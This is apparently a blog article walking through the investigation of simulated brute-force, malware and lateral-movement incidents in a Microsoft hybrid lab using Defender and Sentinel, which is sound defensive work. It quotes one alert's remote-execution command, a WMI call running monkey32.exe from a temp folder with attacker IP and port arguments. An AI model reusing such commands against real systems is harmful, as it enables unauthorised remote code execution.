Securing MS Hybrid Environments: A Guide to Initial Incident Investigation with Microsoft XDR Solutions

Dear Connections,

I am pleased to announce the publication of my third article for this month. Today, I will demonstrate how to conduct an initial investigation if there are security incidents occurring in your MS Hybrid environment.

Please ensure that for comprehensive MS Hybrid-Cloud Security, you have the following Microsoft XDR Solutions available:

1. Microsoft Defender for Identity
2. Microsoft Defender for Endpoint
3. Microsoft Defender for Cloud Apps for identity monitoring in our case.
4. Microsoft Sentinel for centrally managing all security events.

I have simulated various attack actions on my Hybrid Lab Infrastructure. To conduct an incident investigation, you need to follow several steps:

Please remember that this article does not cover any attack guide or remediation actions.

1st Example:

Suspected Brute-Force Attack (Kerberos, NTLM):

This incident is triggered when a computer generates a suspicious number of failed login attempts on multiple accounts while attempting to access another computer. This behavior could indicate a brute-force attack, where an attacker tries to guess the passwords of the accounts by repeatedly trying different combinations. The incident provides details of the attacked accounts, authentication failure distributions, and NTLM event activities. Additionally, it offers information such as the number of accounts that haven't updated their password, accounts not recently observed logging into a computer, and the authentication protocol used. This incident aids in investigating and responding to potential threats while helping prevent further damage.

To begin the investigation of this incident, we will utilize Microsoft Security Center:

• Navigate to the Microsoft Security Center interface.
• Select the appropriate incident from the incident list.

An alert window will be displayed. Please note that one incident may trigger several security alerts.

This initial step provides crucial information to kickstart the investigation process.

• The Alert Story tab provides a concise overview of the incident.

As a next you should Identify the affected systems and services.?

• Attacked Accounts:

• The NTLM activities should be checked to ensure which actions were taken.

As we see, the attacker generated a suspicious number of failed login attempts on 5 accounts using the NTLM authentication protocol. In the next step, it is important to check the targeted devices, which can be viewed on the incident-specific page.

Here, we are delving deeper and taking an overview of the actions on our server.

This event is a security alert indicating that a file named monkey32.exe was created remotely from the IP address 192.168.178.73 on Feb 23, 2024, at 8:54:41 PM. The action type FileCreatedByRemoteMachine suggests that the file was created on your machine from another machine over the network.

The user involved in this action is the system account (NT AUTHORITY\system), which is a powerful account that has full access to the system.

The MITRE ATT&CK techniques associated with this event are:

• T1570: Lateral Tool Transfer: This technique involves an attacker moving tools or other files from one system to another within a network. In this case, the monkey32.exe file could be a tool used by an attacker.
• T1021.002: SMB/Windows Admin Shares: This technique involves an attacker using Server Message Block (SMB) or Windows admin shares to move laterally in a network. The attacker might have used this technique to create the monkey32.exe file on your machine.
• T1074.002: Remote Data Staging: This technique involves an attacker creating a staging area on a remote machine to store tools, data, or other files. The monkey32.exe file could be part of such a staging area.

The entity ntoskrnl.exe is likely the process that was running when the monkey32.exe file was created.

As we know this event could be a sign of a security breach, and it’s recommended to investigate further :)

2nd Example:

'Sehyioa' malware was prevented on one endpoint - Evidence from the first example

Alert description

Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks. This detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection.

Next, we are going to check the file content and any process creations related to the attacker.

The full Information we are getting in Investigation Page

Onboarded MS Defender for Server, protected our server from the thread:

Please note the Evidence Summary: This section lists all the evidence collected by the investigation, such as files, processes, services, drivers, IP addresses, and persistence methods. We can filter, sort, and choose columns to view the evidence.

3rd Example:

Remote code execution attempt

A user attempted to execute Win32_Process Create (cmd.exe /c C:\Windows\temp\monkey32.exe m0nk3y -p 67438908112843 -t 192.168.178.73:5087 -s 192.168.178.73:5000 -d 2 -vp 135) on SRV2022 via Wmi.

Detailed "An actor attempted to run commands remotely on SRV2022 from 192.168.178.73 (192.168.178.73), using 1 WMI method."

The remote execution succeeded.

If you want to make a full covered report, don't forget to add MITRE ATT&CK Techniques to your report.

Remote code execution was performed from an unknown device within the same network.. Failed to load device data or unauthorized to access device data

Note: since this device is currently not listed in the inventory, only partial device information is available.

MS Sentinel

With MS Sentinel, you can conduct a more detailed investigation and automate responses effectively.

You can locate the related incident and proceed to the investigation section to obtain a detailed view of the incident.

At the end, I am providing summarized steps for the initial incident investigation:

• Identify the affected systems and services. You can use the Activity log and Attack story tabs to see the details of the incident, such as the source and destination of the failed login attempts, the protocols used, and the error reasons. You can also export the alert from the portal to Excel for further analysis.
• Determine the impact and scope of the incident. You can use the Summary tab to see the severity, status, and owner of the incident. You can also use the Alerts and Assets tabs to see the related alerts and assets involved in the incident. You can also check the security log on the affected endpoints and the Varonis Dashboard for any abnormal behavior or lockouts.
• Contain and isolate the incident. You can use the Manage incident to take actions such as closing, dismissing, or assigning the incident. You can also use the Actions & submissions menu on the left to submit files or URLs for analysis, or run response actions on the affected endpoints.
• Analyze and learn from the incident. You can use the Reports and Audit menus on the left to generate and review reports and audit logs on the incident and its aftermath. You can also use the Advanced hunting and Custom detection rules menus to create and run custom queries and rules to hunt for any indicators of compromise or suspicious activity on the network. You can also use the Secure score and Learning hub menus to assess and improve your security posture and awareness.